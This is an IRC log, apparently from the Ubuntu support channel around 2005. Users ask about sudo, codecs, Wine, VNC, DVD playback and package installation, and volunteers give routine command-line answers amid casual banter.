[06:47] <freddy_> it just says it fails
[06:47] <freddy_> but i think i got it
[06:47] <dabaR> ebowles: now ls -l same thing, paste to a pastebin, like, paste.ubuntulinux.nl
[06:47] <freddy_> i had to do this nalioth
[06:47] <freddy_> unrar e file.rar
[06:48] <nalioth> freddy_: what was the error?
[06:48] <ebowles> dabar, okay
[06:48] <chimo> is the command  >> $  sudo <username>
[06:49] <barosl> what umask is good for vfat?
[06:52] <Madpilot> hi all
[06:52] <HrdwrBoB> chimo: no
[06:52] <HrdwrBoB> chimo: sudo makes you root
[06:52] <HrdwrBoB> SuperUser do
[06:52] <bur[n] er> barosl, depends on what kinda access you want... umask=000 is full access for everyone
[06:53] <bur[n] er> umask=077 is only root access
[06:53] <bur[n] er> it's basically reverse octal
[06:53] <dabaR> ebowles: you should be able to play the files.
[06:53] <barosl> th
[06:53] <barosl> thx
[06:53] <dabaR> when you double click on them, they dont open in the xine?
[06:54] <ebowles> dabar, is there something I have to do for the program themselves to allow them to read cds?
[06:55] <cyphase> does anyone know why audacity isn't detecting my audio device?
[06:55] <chimo> how do i use sudo
[06:55] <cyphase> type sudo
[06:56] <cyphase> :)
[06:56] <cyphase> sudo <command> <any variables for the command>
[06:56] <dabaR> !root
[06:56] <ubotu> I heard root is disabled in Ubuntu, you can read all about it on http://wiki.ubuntu.com/RootSudo
[06:56] <dabaR> not really, cause you are the user that is initiating them, ebowles, does it not open when you double click?
[06:57] <ikkys> hi folks, i needhelp big time. i downloaded a movie file from p2p and when i try to open the file, which opens ups totem movie player, now the screen goes black....about 10 secs, then the mouse cursor appear, and goes black gain, and repeat 4-5 times and nowno mouse at all and the screen just black.....i cant CTRL+C, how do i escape this? i cant CTRL+ALT+del
[06:57] <batwman> hello, I need some networking assistance
[06:57] <Dr_Willis> Moo?
[06:57] <cafuego> Mar
[06:57] <phayze2> chimo: type 'info sudo'
[06:57] <cafuego> ikkys: what movie?
[06:57] <ebowles> if I open xine anyway except root terminal and try to play a cd or dvd, it says "permission denied"
[06:58] <ikkys> cafuego, coca-cola advert movie
[06:58] <cafuego> oooer
[06:58] <ikkys> hehe
[06:58] <ikkys> u guys got any idea why its like this? how do i escape this?
[06:58] <cafuego> my wife did some work for them in beijing this month :-)
[06:59] <dducko> have a slight issue here,,,, Sound works everywhere but in Firefox for me...
[06:59] <ikkys> for coca-cola?
[06:59] <cafuego> ikkys: yep
[06:59] <dabaR> aha, well, hmmm, are there any cds you have with vid files on them?
[06:59] <dabaR> so you can open that way, ebowles?
[06:59] <batwman> Can someone explain me why this doesn't work: I mount a regular Windows-share. I see the files, I can browse them, copy them, even delete them. BUT if I want to play a MP3-file, straight from the share it doesn't work.
[06:59] <ikkys> cool,
[06:59] <dabaR> to double click ebowles
[06:59] <cafuego> they showed her a set of soon to be released ads
[07:00] <ebowles> dabar, I can open the player, but the player won't read the cds
[07:01] <Madpilot> batwman: do you have mp3 support installed on Ubuntu? (it's not there by default...)
[07:01] <batwman> Madpilot, yes it works if I copy the file to my local folder......any idea on this?
[07:01] <dabaR> ebowles: try that what i am getting at. put in a cd with media files, open it in nautilus(the file browser, through places>computer>cd drive, and then right click on a file, and choose open with xine.
[07:01] <dabaR> then you have narrowed down the issue at least.
[07:02] <Madpilot> batwman: no, sorry. Just trying to eliminate the easy-to-fix possibilities!
[07:02] <batwman> Madpilot: thank you
[07:03] <batwman> The issue seems to be concerning all files. If I click on a text-file, gedit spits out an empty pad.
[07:03] <ebowles> dabar, nope, that doesn't work
[07:03] <dabaR> ebowles, same cd?
[07:04] <dabaR> paste its ls -l again, i guess, ebowles
[07:04] <cafuego> ^#^R%^#&*$78
[07:04] <Dragon513> a sometimes my CPU runs at full speed, but never comes down when left idle
[07:05] <cafuego> finnally got a working ooo2, now GIMP is borked :-P
[07:05] <dabaR> Dragon513: running servers?
[07:05] <ebowles> dabar, sent
[07:05] <dabaR> Dragon513: to see what is using the cpu, top is a monitor in command line.
[07:05] <dabaR> Dragon513: takj in the chann.
[07:06] <dabaR> talk
[07:06] <konra`> many applications want ALSA sound? how do I enable this in ubuntu? (I've been to System->Preferences->Multimedia Systems Selector and tried to change sink to ALSA, but get the error: "Failed to construct test pipeline for 'ALSA - Advanced Linux Sound Architecture")
[07:06] <chimo> how do i exit  X
[07:06] <Dragon513> dabaR: hm but even when it's left idle, the CPU usage is 2~3%
[07:06] <dabaR> ebowles: there is no media on that cd.
[07:06] <Dragon513> but frequency doesn't go down to 1Ghz from 1.8ghz
[07:06] <matthew_w> Hey - How can I get Beep media player to work... it crashed when I opened some mp3's and now it won't open anymore...
[07:07] <dabaR> Dragon513: it seems cool to me, i dont know about that much at all.
[07:07] <batwman> Ok, new attempt.....What do I have to do to be able to view/edit/play files on my Windows share? This used to work on my Windows XP laptop but not on this one with Ubuntu.
[07:07] <cafuego> Dragon513: Odd. is 'powernowd' running?
[07:07] <ubuntu-asker> hello again, i solve the problem i have and now cedega runs right, but now i want to install oficial nvidia drivers module
[07:07] <Dragon513> cafuego yap Powernowd running...
[07:07] <cafuego> !nvidia
[07:07] <ubotu> extra, extra, read all about it, nvidia is at https://wiki.ubuntu.com/BinaryDriverHowto/Nvidia
[07:07] <ebowles> dabar...there is..
[07:07] <Dragon513> using AMD 64 with COol'nQuiet on
[07:08] <chimo> how do i exit  X
[07:08] <dabaR> matthew_w: killall in a terminal will kill its process, and nuking its config file helps usually with any weird behavior of a program, and that is done by, for xmms for example, rm -r /home/matthew/.xmms
[07:08] <dabaR> chimo, like log out?
[07:08] <ubuntu-asker> chimo, BTW Ctrl + Alt + Backspace (will KILL X)
[07:09] <ubuntu-asker> cafuego, the page https://wiki.ubuntu.com/BinaryDriverHowto/Nvidia doesnt works, any mirror?
[07:10] <Dr_Willis> it just worked for me.
[07:10] <konra`> many applications want ALSA sound? how do I enable this in ubuntu? (I've been to System->Preferences->Multimedia Systems Selector and tried to change sink to ALSA, but get the error: "Failed to construct test pipeline for 'ALSA - Advanced Linux Sound Architecture")
[07:10] <Dr_Willis> reload the page
[07:10] <glyn> how do I install wine once I downloaded it?
[07:10] <bimberi> er, works for me
[07:10] <konra`> and me
[07:10] <Dr_Willis> glyn,  i just used the apt-get stuff and dident have to download it seperatly.
[07:11] <ubuntu-asker> glyn, apt-get install wine
[07:11] <dabaR> ebowles: which files are media?
[07:11] <glyn> E: Package wine has no installation candidate
[07:12] <matthew_w> dabaR; does beep media player play mp3's by default, or do I need to configure it
[07:12] <ubuntu-asker> any other web that have a howto install oficial nvidia driver module
[07:12] <dabaR> mp3
[07:12] <ebowles> video_ts is whats on the cd
[07:12] <dabaR> !mp3
[07:12] <ubotu> mp3 is probably read http://wiki.ubuntu.com/RestrictedFormats for information about mp3 support
[07:12] <glyn> Ubuntu asker>E: Package wine has no installation candidate
[07:12] <Madpilot> glyn: do you have the Universe/Multiverse repos enabled?
[07:12] <glyn> No
[07:12] <glyn> can you help me enable the repos?
[07:12] <Madpilot> !tell glyn about repos
[07:13] <konra`> !doom3
[07:13] <ubotu> konra`: Bugger all, i dunno
[07:13] <konra`> damn
[07:13] <Madpilot> glyn: see the msg that ubotu just sent you
[07:14] <damsko> !ping
[07:14] <ubotu> Keep your fingers to yourself, damsko.
[07:14] <dabaR> ebowles: ls -l /media/cdrom that is what i need to see on the pastebin, i just noticed
[07:15] <Madpilot> konra`: check the wiki, I'm pretty sure there's a Doom 3 howto there - wiki.ubuntu.com
[07:15] <LathropWells> Hello! - Whew glad i had used IRC before. - Difficult and maybe a bit scarey  for a frazzeled newb at wits end struggling to get one quick question or problem solved..
[07:15] <glyn> yeah, that tells me about universe repositories but not multiverse
[07:16] <glyn> how do I enable multiverse?
[07:16] <LathropWells> Why do we have to register
[07:16] <ebowles> dabar, sent
[07:16] <ubuntu-asker> BTW i recently installed ubuntu (i dont like it, but is an excellent distro for its porpouse) check that the installer doesnt check an Existing SWAP, and try to "create" a new one
[07:16] <xsquared> ive just installed ubuntu but when i start it up for the first time it hangs at loading hotplug
[07:17] <xsquared> i can't get any further
[07:17] <xsquared> whats wrong... what should i do?
[07:17] <dabaR> ebowles: thats a dvd... installed dvd support? its not great as it is, neither, I find...altho, perhaps others find diff.
[07:18] <Madpilot> glyn: the "Restricted Copyright" repo is Multiverse - assuming you're changing settings in Synaptic
[07:18] <ubuntu-asker> maybe here isnt the right place to report a "bug"
[07:19] <dabaR> !bug
[07:19] <ubotu> To file a bug, go to http://bugzilla.ubuntu.com/ for packages in main or http://launchpad.ubuntu.com/malone/distros/ubuntu for Universe packages
[07:19] <Dr_Willis> Thats the right place :P
[07:19] <Bags> Having trouble with VNC  - How does one go about changing the package used by Ubuntu to server VNC?
[07:20] <bimberi> !tell LathropWells about register
[07:20] <ubuntu-asker> Dr_Willis, i will report it there, thanks
[07:20] <konra`> !register
[07:20] <ubotu> Freenode is being affected by spammers at present. This has meant that #ubuntu has had to be closed to unregistered users (for the moment).
[07:20] <konra`> ah.
[07:20] <ikkys> hey guys, is there a movie player for *.wmv files for linux?
[07:20] <konra`> Madpilot, thank you
[07:21] <phayze2> ikkys: mplayer
[07:21] <phayze2> oops
[07:21] <phayze2> xine
[07:21] <konra`> ikkys: totem can play .wmvs with the package w32codecs
[07:21] <Madpilot> konra`: no problem
[07:21] <glyn> I have a cedega file with an icon that says SH, what is this for?
[07:21] <Dr_Willis> Bags,  Huh? care to rephrase that.
[07:21] <nalioth> ikkys: but newer wmvs may be problematic
[07:21] <ikkys> how do i make totem play wmv, i tried opening, but it doesnt recognize. need to recompile?
[07:22] <FatDarrel> tell me I want to know oh why oh why
[07:22] <Madpilot> !restricted
[07:22] <ubotu> [restricted]  http://www.ubuntulinux.org/wiki/RestrictedFormats
[07:22] <nalioth> glyn: a .sh file is a "shell script" . it is executed by the shell (synonymous with a windows batch file)
[07:22] <Madpilot> ikkys: see ubotu above - totem plays wmv fine for me
[07:22] <konra`> ikkys: totem plays wmv fine for me also
[07:22] <dabaR> Madpilot: ya, all of them do once you have the w32codecs installed.
[07:22] <Dr_Willis> i think it may depend on the codec the wmv is using.
[07:22] <syn-ack> You have to have the codecs installed
[07:23] <dducko> yeah.. i have issues too..
[07:23] <jacus> hello! I have a problem. My internet connection doesnt work after the startup. I have to log out, log as root and then change my MAC adress (it is indispensible for my network to work) and then activate again my ethernet card. Is it possible to write some script or something so that it works after startup ??
[07:23] <dabaR> they are available in marillat, for one, that is where I get them from, if you google for both those keywords, you usually find the right plave.
[07:23] <dabaR> place.
[07:23] <Madpilot> dabaR: w32codecs are in hoary-extras
[07:23] <dabaR> jacus: dhcp, pppoe, dialup, so on...
[07:24] <Bags> Dr_Willis: Sorry about that...
[07:24] <konra`> Madpilot, I am got as far as the doom3 wiki page gets, but I'm having trouble actually starting it
[07:24] <jacus> dabar: I've set up dhcp
[07:24] <sirexas> anyone knows how I can install gnome pannel applet, whitch checks for new mail, in previous version of ubuntu it was by default, but now I instal 5.04 and there no mail checking applet..
[07:25] <dabaR> jacus: and what do you know about the server?
[07:25] <Madpilot> konra`: I haven't run it myself, I just remembered seeing it on the wiki... try "doom3" on a command line?
[07:25] <konra`> Madpilot, I know the command and all
[07:25] <konra`> Madpilot, it just fails to start
[07:26] <konra`> Madpilot, the screen goes blank, and then I have no way to quit or anything, and have to force a shutdown using the power button
[07:26] <Bags> Dr_Willis: Ok. I'm running Kubuntu on a dual PIII with the smp packages and VNC is running with the kfrb package serving up the remote desktop to a PC running VNC Viewer. As soon as you log in via the PC, the screen of the Kubuntu session appears for a fraction of a second, and then the view crashes with a number of different errors.
[07:26] <ikkys> konra, i had the same probs like u just now
[07:26] <ikkys> hehe
[07:26] <phayze2> sirexas: do you use evolution mail?
[07:26] <cafuego> Ac
[07:26] <Dr_Willis> Bags,  you are 'shareing' your existing, running desktop eh?
[07:27] <Bags> Dr_Willis: Different errors each time. I've tried checking bugs.kde.org and reinstalling the packages.
[07:27] <konra`> ikkys, any idea how to fix them?
[07:27] <Bags> Dr_Fate: Yes, that's right.
[07:27] <Bags> OOps!
[07:27] <Bags> Dr_Willis: Yes, that's right.
[07:27] <Bags> Dr_Fate: Sorry, mate. Wrong doctor...
[07:27] <Dr_Fate> no worries
[07:27] <cmatheson> hey, does anyone know of a program that will convert binary to decimal, hex, etc.?
[07:27] <Dr_Willis> Bags,  may want to not do it that way. :P use tightvnc, or the other vnc server (vnc4server) and have it spawn its own 'desktop/session' of kde.
[07:28] <jacus> dabar: I don't know anythig, it's dhcp and it detects everything automatically
[07:28] <Dr_Willis> Bags,  I have never messed with kfrb myself.
[07:28] <Dr_Willis> Bags,  just those 2 other vnc server setups.
[07:28] <ikkys> no idea, i just restarted, looked at my logs and assume its problamaatic from the start
[07:28] <jacus> dabar: but I have to set up everything manually after every startup
[07:28] <ikkys> hehehe
[07:29] <Bags> Dr_Willis: How do I switch to using tightvnc? I've installed it for this very reason, but I don't really know how to make this the default VNC service...
[07:29] <konra`> ikkys, what logs?
[07:29] <glyn> how do I access my "C" drive from ubuntu?
[07:29] <ikkys> anyone knows how do i setup gxine or totem to be able to play wmv files? seems like it wants this file, wmvdmod.dll? linux doesnt come preinstall wit codecs?
[07:29] <matthew_w> Isn't there some way I can tell what BMP is doing wrong, since it's not starting..
[07:29] <robotgeek> !codecs
[07:29] <ubotu> somebody said codecs was http://www.ubuntulinux.org/wiki/RestrictedFormats
[07:29] <Fallacy> could anyone tell me how to force a mac address on hoary?
[07:29] <konra`> ikkys, you need the codecs
[07:29] <Bags> Dr_Willis: Do I simply remove the other ones?
[07:30] <phayze2> ikkys, read this: http://www.ubuntulinux.org/wiki/RestrictedFormats
[07:30] <ikkys> oh ok
[07:30] <dabaR> I really dont get both of your mac address issues, mac addresses are static to a device.
[07:31] <Dr_Willis> Bags,   i always just manually run the vncserver.  never used one as a 'default vnc service'
[07:31] <jacus> fallacy: ifconfig ethX down hw ether XX:XX:XX:XX:XX:XX up
[07:31] <konra`> any ideas on how to log opengl crashing?
[07:31] <glyn> I just used wine to save something on the c drive
[07:31] <konra`> lol
[07:31] <glyn> it wouldn't save on the z ubuntu drive
[07:31] <konra`> that's the wine C drive
[07:31] <glyn> oh what do I do to access it?
[07:31] <konra`> search for "wine_C" folder
[07:31] <konra`> or something like that
[07:31] <konra`> on your HDD
[07:31] <Dr_Willis> or 'fake_windows'
[07:31] <konra`> yeah
[07:31] <konra`> that's it
[07:32] <konra`> sorry glyn
[07:32] <Dr_Willis> its perhaps in  ~/.wine or similer
[07:32] <Bags> Dr_Willis: Is there a way to force this service to run on start-up?
[07:32] <glyn> how do I search for it?  I'm not familiar with ubuntu
[07:32] <konra`> glyn, "~/.wine/fake_windows" most likely
[07:32] <glyn> whereis fake_windows?
[07:32] <konra`> nolan, because that's not in the path
[07:32] <konra`> no*
[07:32] <Dr_Willis> Bags,  thers always a way. ive seen many articals on getting vnc to do all sorts of nice fancy tricks. depends on exactlu what you want to do with it.,
[07:32] <phayze2> ikkys: have you visited www.ubuntuguide.org?
[07:32] <rob^> !ubuntuguide
[07:32] <ubotu> I guess ubuntuguide is a set of instructions with no explanation. Please do not advise people to use ubuntuguide.  Advise https://wiki.ubuntu.com instead. The official FAQ Guide will be released with Breezy, stay tuned.
[07:33] <phayze2> alright
[07:33] <glyn> I found the c_drive
[07:33] <Bags> Dr_Willis: Ok, I'll burrow around and see what I can find... Many thanks!
[07:33] <rob^> actually, tomorrow you will get to see a pre release version in breezy
[07:33] <phayze2> i found ubuntuguide.org easy to follow
[07:34] <matthew_w> What's the command to show all of the verbose messages when you try to open something from terminal?
[07:34] <Dr_Willis> Bags,  often i have to read the 'startvnc' scripts to see exactly what stuff they are doing/defaulting to.
[07:34] <glyn> but the exe file I saved in there isn't there
[07:34] <rob^> phayze2, you will find the FAQ Guide even better
[07:34] <ubuntu-asker> !nvidia
[07:34] <ubotu> rumour has it, nvidia is at https://wiki.ubuntu.com/BinaryDriverHowto/Nvidia
[07:34] <Bags> Dr_Willis: Where would I find them?
[07:34] <Dr_Willis> its in your path somewhere. :P
[07:35] <ubuntu-asker> sorry for bother somebody is registered at bugzilla.ubuntu.com ?
[07:35] <glyn> what do I do if the file I saved in the wine c drive isn't there?
[07:35] <ubuntu-asker> pls msg me
[07:35] <lunitik> glyn: you look again...
[07:35] <rob^> yes, why?
[07:35] <Bags> Dr_Willis: Nope.. locate startvnc came up with nada...
[07:36] <ubuntu-asker> rob^, can you confirm this bug http://bugzilla.ubuntu.com/show_bug.cgi?id=12499
[07:36] <Dr_Willis> glyn,  check your wine configs
[07:36] <lunitik> glyn: .wine/fake_c/Documents and Users etc...
[07:36] <Dr_Willis> Bags,  may be 'vncserver' :P this is whn it pays to actually read the vnc docs and check out the homepages. :P
[07:36] <Dr_Willis> Bags,  often i find however that disrtos have 'differnt' setups on their vncserver settings/methods.  some disrtos are vastly different in some ways. :()
[07:36] <rob^> ubuntu-asker, its always worked for me
[07:37] <glyn> there's a folder usr and in it are the folders bin c_Drive lib share and winex
[07:37] <sirexas> phayze2: I use mutt
[07:37] <glyn> but when I go into c_drive all there is is common files and not the folder I created in wine
[07:37] <rob^> ubuntu-asker, I have always manually partitioned though
[07:37] <ubuntu-asker> rob^, I can confirm this bug I install ubuntu on a the same hd (40gb ide) with some partitions (/tmp /home /root /boot .... and so on, from my gentoo system)  I have 3gb free and tell the installer that use this free space to install ubuntu, and automatically adds a 2.8gb ext3 partition (/) and a 196mb SWAP partition. But i already have a SWAP partition on my /dev/hda2
[07:37] <glyn> err wait there's program files and windows but under program files should be my game but it isn't there
[07:37] <rob^> ubuntu-asker, the dev in charge of the package will get back to you via bugzilla
[07:38] <glyn> all I see is common files and not "simu"
[07:38] <rob^> ubuntu-asker, its not asking you to confirm it, it is asking if anyone else has the same problem
[07:38] <ubuntu-asker> rob^, well, i cant register right now, i hope can do it later, thanks anyway
[07:38] <glyn> am I in the wrong folder?
[07:38] <Dr_Willis> glyn,  aparently  - if its not there. :P
[07:39] <sirexas> anyone knows how I can install gnome pannel applet, whitch checks for new mail, in previous version of ubuntu it was by default, but now I instal 5.04 and there no mail checking applet..
[07:39] <glyn> how do I check my wine configs?
[07:39] <phayze2> sirexas: is mutt listed anywhere in "Applications"?
[07:39] <Dr_Willis> try good old "ls -R | grep"  to search for it.
[07:39] <lunitik> glyn: 'sudo updatedb && locate simu'
[07:39] <phayze2> most likely under "Internet"?
[07:39] <rob^> ubuntu-asker, yeah, you'll need to register, whats happening when you try?
[07:39] <sirexas> phayze2: in menu 'Applications' is not listed..
[07:39] <glyn> sudo: updateb: command not found :(
[07:40] <lunitik> glyn: 'sudo updatedb && locate simu'   not updateb
[07:40] <nalioth> sirexas: it is there, right click on the panel and click "add to panel"
[07:40] <xsquared> what is the default root password for ubuntu?
[07:40] <sirexas> in sub menu is not listed too
[07:40] <glyn> oh
[07:40] <rob^> !root
[07:40] <ubotu> root is, like, disabled in Ubuntu, you can read all about it on http://wiki.ubuntu.com/RootSudo
[07:40] <Dr_Willis> xsquared,  congratulations on asking a FAQ! :P
[07:40] <Dr_Willis> lol.
[07:40] <sirexas> is it is 'add to panel' but from lis i cant find mail checking applet..
[07:40] <rob^> yep..
[07:40] <ubuntu-asker> rob^, nothing, i cant do it right now, becouse i cant login to my email account (temporary "downtime", in a while it would be up again, and i'll register to bugzilla)
[07:40] <glyn> lunitik>it's not doing anything
[07:41] <rob^> ubuntu-asker, ok just wait then
[07:41] <xsquared> thank you
[07:41] <YOYOYOYOYO> guys how do u install wine on a windows computer
[07:41] <lunitik> glyn: it'll take a while... its indexing all your files...
[07:41] <glyn> ah
[07:41] <lunitik> YOYOYOYOYO: via cygwin
[07:41] <glyn> it didn't find the folder
[07:41] <matthew_w> How do I edit my menu?
[07:41] <YOYOYOYOYO> lunitik wats cygwin
[07:41] <xsquared> that is th crappiest thing to do ever. in the installer it should prompt for a root password
[07:41] <lunitik> !tell matthew_w about smeg
[07:41] <lunitik> YOYOYOYOYO: www.cygwin.org
[07:41] <lunitik> YOYOYOYOYO: uhh.... .com
[07:42] <YOYOYOYOYO> lol ok
[07:42] <glyn> lunitik>it didn't find the folder
[07:42] <YOYOYOYOYO> lunitik is cygwin like a linux emulator?
[07:42] <Madpilot> xsquared: see all the arguements for and against at that RootSudo page...
[07:42] <lunitik> YOYOYOYOYO: it provides a POSIX layer for windows...
[07:43] <sirexas> how can I install more items tu 'add to panel' list ?
[07:43] <sirexas> to*
[07:43] <YOYOYOYOYO> lunitik: do i need cygwin to install it?
[07:43] <lunitik> YOYOYOYOYO: via GNU utilities... it doesn't provide Linux though... no
[07:43] <nalioth> sirexas: find and install more panel applets
[07:43] <lunitik> YOYOYOYOYO: on Windows? you realize Wine is a windows emulator?
[07:43] <bur[n] er> YOYOYOYOYO, need cygwin to install what?
[07:43] <lunitik> bur[n] er: wine
[07:43] <YOYOYOYOYO> to install wine..
[07:43] <Seveas> hmm?
[07:43] <YOYOYOYOYO> lunitik: ya i realize
[07:43] <bur[n] er> YOYOYOYOYO, or use linux of course
[07:43] <lunitik> bur[n] er: follow along  ; )
[07:44] <bur[n] er> well, you answered that question, then he asked the same thing ;)
[07:44] <YOYOYOYOYO> therz no other way than installing cygwin?
[07:44] <lunitik> YOYOYOYOYO: ok.... but yeah... www.cygwin.com tells you what it is... go read
[07:44] <Seveas> YOYOYOYOYO, let me get this strgiht
[07:44] <bur[n] er> YOYOYOYOYO, wtf you need wine for in windows?
[07:44] <lunitik> Seveas: yes... just yes
[07:44] <Seveas> you want to install cygwin to install wine in windows?!?
[07:44] <YOYOYOYOYO> lol
[07:44] <bur[n] er> lol
[07:44] <lunitik> bimberi: idgi either... but apparently....
[07:45] <matthew_w> Again - what is the command to install a .deb from the terminal?
[07:45] <glyn> Ahhh!!! Why isn't this working?!
[07:45] <glyn> this is ridiculous
[07:45] <bimberi> lol @ dabaR
[07:45] <bur[n] er> matthew_w, sudo dpkg -i blah.deb
[07:45] <dabaR> matthew_w: why do that...
[07:45] <cyphase> Does anyone know if Breezy is going to have any server management tools?
[07:45] <YOYOYOYOYO> lunitik can i install cygwin when im done w. it?
[07:45] <YOYOYOYOYO> uninstall*
[07:45] <geneo93> dpkg -i (package)
[07:45] <dabaR> cyphase: in fact, I think it is.
[07:46] <lunitik> YOYOYOYOYO: umm... yeah
[07:46] <Dr_Willis> gee - one should be able to uninstall about anything. :P
[07:46] <cyphase> ;)
[07:46] <nalioth> matthew_w: what are you installing?
[07:46] <cyphase> dabaR, is there any info posted?
[07:46] <YOYOYOYOYO> lunitik... i dont get why i need it... cuz on winehq it says its to install on windows not linux...
[07:46] <Dr_Willis> Cygwin - is a handy tool to learn about.
[07:46] <glyn> why isn't the folder I saved in wine during an installation there when I try to find it?
[07:46] <lunitik> YOYOYOYOYO: although, your Windows will never be the same again... Windows becomes more POSIX complient forever
[07:46] <YOYOYOYOYO> and wat the crap is that?
[07:47] <Dr_Willis> YOYOYOYOYO,  i belive you are confused on some basic issues.. why dont you start over from the begining..
[07:47] <lunitik> YOYOYOYOYO: why are you in Ubuntu asking this?
[07:47] <lunitik> YOYOYOYOYO: just out of curiosity?
[07:47] <YOYOYOYOYO> no
[07:47] <YOYOYOYOYO> lol
[07:47] <matthew_w> nalioth; smeg.deb
[07:47] <lunitik> YOYOYOYOYO: cuz you're looking lite a troll
[07:47] <glyn> I need some help please
[07:47] <lunitik> like*
[07:47] <bur[n] er> YOYOYOYOYO, why do you want wine on windows... wine is a windows emulator... why do you need to emulate windows when you're really using it?
[07:47] <bur[n] er> doh,
[07:47] <glyn> wine isn't working right
[07:47] <bur[n] er> don't feed the trolls ;)
[07:47] <matthew_w> nalioth; I think burner got it
[07:47] <cyphase> YOYOYOYOYO, can you change your name? it looks ugly next to everything else
[07:47] <cyphase> :)
[07:47] <nalioth> matthew_w: better to run the installsmeg script
[07:47] <dabaR> cyphase: yes, search the forums, I think that is where I found out.
[07:47] <YOYOYOYOYO> lol cyphase
[07:47] <geneo93> troll
[07:47] <Dr_Willis> glyn,  whats nto working?
[07:48] <lunitik> bur[n] er: best reason: to port code to Wine while still using Windows .... but still...
[07:48] <cyphase> dabaR, ok, thanx
[07:48] <glyn> Dr_Willis>the folder I saved in wine during an installation isn't there when I try to find it?
[07:48] <bur[n] er> lunitik, if that was yoyoyoyo's intention, i doubt he'd be here ;)
[07:48] <Dr_Willis> glyn,  yoy ran wine as a user?
[07:48] <lunitik> bur[n] er: true enough  ;)
[07:48] <geneo93> why are so few here tonight
[07:48] <lunitik> bur[n] er: wishful thinking I suppose
[07:48] <glyn> Dr_Willis>I'm not sure, I just clicked on a link and opened it with wine
[07:48] <hotxSAUCE> is xchat better than mirc?
[07:49] <rob^> they are sleeping
[07:49] <bur[n] er> geneo93, due to #ubuntu-unregged I assume?
[07:49] <rob^> yeah
[07:49] <lunitik> hotxSAUCE: yes
[07:49] <Dr_Willis> glyn,  a link?
[07:49] <bur[n] er> hotxSAUCE, apples & oranges, not better... different
[07:49] <rob^> it supports better scripting languages for a start
[07:49] <lunitik> hotxSAUCE: not least because it doesn't charge.
[07:49] <Dr_Willis> glyn,  you mean you clicked on the .exe and it ran with wine?
[07:49] <glyn> Dr_Willis>Yeah the program I'm trying to download
[07:49] <glyn> dr_Willis>Yeah
[07:49] <hotxSAUCE> well i dont pay for mirc anyways
[07:49] <rob^> python, tcl etc
[07:49] <hotxSAUCE> the shareware nag doesnt bother me
[07:49] <geneo93> ah nother spambot
[07:50] <lunitik> hotxSAUCE: XChat is a far better client all around... yes... next question
[07:50] <bur[n] er> lol
[07:50] <Dr_Willis> Hmm. but downloading  notmally wont run it..  I think ya need to redownload the thing to a file.. and then run it frim the shell with 'wine whatever.exe'  Or if you really are sure it ran right.. use "ls -R | grep whatever" to look for it in your home dir
[07:50] <hotxSAUCE> well i would use ubuntu but the ubuntu 64 seem slow on my amd 64
[07:50] <hotxSAUCE> so i had to use the xp 64
[07:50] <rob^> thats odd
[07:50] <rob^> do you know why?
[07:51] <rob^> lunitik, yeah
[07:51] <lunitik> rob^: go figure
[07:51] <dabaR> not really, from where I am looking at it.
[07:51] <bur[n] er> doh... silly trolls ;)
[07:51] <dabaR> and I asw hotxSAUCE here b4, I think.
[07:52] <geneo93> trool i tell you boot him
[07:52] <hotxSAUCE> woah retarded channel eh i'm going back to the friendly channel gentoo
[07:52] <hotxSAUCE> lates guys
[07:53] <dabaR> see ya.
[07:53] <rob^> see ya
[07:53] <bur[n] er> peace
[07:53] <phayze2> see ya
[07:53] <Dr_Willis> Come back again, when you cant stay so long....
[07:53] <bur[n] er> lol
[07:53] <bur[n] er> ;)
[07:53] <geneo93> most windows users cant even install 64 version properly
[07:53] <dabaR> we are evil.
[07:53] <lunitik> Trolls are more fun when they aren't retards
[07:53] <bur[n] er> anyone know how to get spellchecking to work in OO.org?
[07:53] <glyn> Dr_Willis>I tried downloading it to a file, and then installing it, and it still didn't work
[07:54] <geneo93> dont let the door hit you inthe @$$
[07:54] <Madpilot> lunitik: there are non-retarded trolls on IRC? ;)
[07:54] <Dr_Willis> glyn,  how vague.. :P did it RUN?
[07:54] <rob^> bur[n] er, theres a package you need to install
[07:54] <bur[n] er> rob^, know what one it is?
[07:54] <bimberi> lol @ geneo93
[07:54] <Madpilot> !didn't work
[07:54] <ubotu> Madpilot: Bugger all, i dunno
[07:54] <bur[n] er> aspell, ispell, other?
[07:54] <dabaR> chill all, the code!
[07:54] <matthew_w> How do I run the installsmeg script?
[07:54] <rob^> bur[n] er, if I could remember I would have just told you ;)
[07:54] <bur[n] er> lol
[07:54] <glyn> Dr_Willis>It ran and I tried to save the files to the folder in the C drive but they're not there
[07:54] <dabaR> matthew_w: chmod +x script && ./script
[07:54] <lunitik> Madpilot: sure... I've seen a few   ;)
[07:55] <bur[n] er> thanks anyway rob^, i'll find it, i'm just bein lazy
[07:55] <rob^> cool
[07:55] <xsquared> okay, the bootup process stops at hotplug
[07:55] <Dr_Willis> glyn,  perhaps  are just not finding the right C drive. :P i recall mine was defaulted to .wine/fake_windows/   does it even Seem like its installing right?
[07:55] <xsquared> what is happening?
[07:56] <lunitik> bur[n] er: apt-cache show openoffice.org(2) ... and note the things it says extend its functionality...
[07:56] <lunitik> bur[n] er: you should see 'myspell-dictionary' listed... install it   ;)
[07:57] !lilo:*! Channel note: ##Australia is freenode's social channel for its Australian users. You're welcome to stop in!
[07:57] <Dr_Willis> glyn,  under cygwin - i see that mine defaulted to  \home\willis\.transgaming\c_drive
[07:57] <rob^> those dictionary packages should be installed by default I think, time to submit a bug
[07:57] <glyn> Dr_Willis>It seems like it's installing correctly...that's the same one I have
[07:57] <glyn> but when I install it, it's not there
[07:57] <Dr_Willis> oops. i mean cedega. :P
[07:57] <xsquared> can someone help me out?
[07:57] <Dr_Willis> you are using cedega? or wine?
[07:58] <lunitik> bur[n] er: granted... that really ought to be installed by default... but thats ok  :P
[07:58] <dabaR> matthew_w: in fact, you need to sudo ./script after you chmod it, actually, sorry, forgot that.
[07:58] <lunitik> !tell xsquared about ask
[07:59] <matthew_w> dabaR; that worked fine, thanks XD
[07:59] <glyn> Dr_Willis>it tells me WIN32_FIND_DATA is not yet filled..but it still says the installation is completed
[07:59] <lunitik> !ask
[07:59] <Dr_Willis> glyn,  sounds to me like the installer may be a little brain dead/wine issues.
[08:00] <bur[n] er> lunitik, i found it... i have myspell-en-us installed, but my spellchecking doesn't work... might be cause I use openoffice.org2
[08:00] <Dr_Willis> glyn,  try installing somthing else  and see what happens.
[08:00] <bur[n] er> openoffice1 just isn't cool though ;)
[08:00] <bur[n] er> lunitik, thanks for the tip though
[08:00] <bur[n] er> xsquared, does it work from the livecd?
[08:00] <lunitik> bur[n] er: 'myspell-dictionary' being installed makes the spellchecking work here...
[08:00] <bur[n] er> xsquared, can you boot 'recovery mode' ?
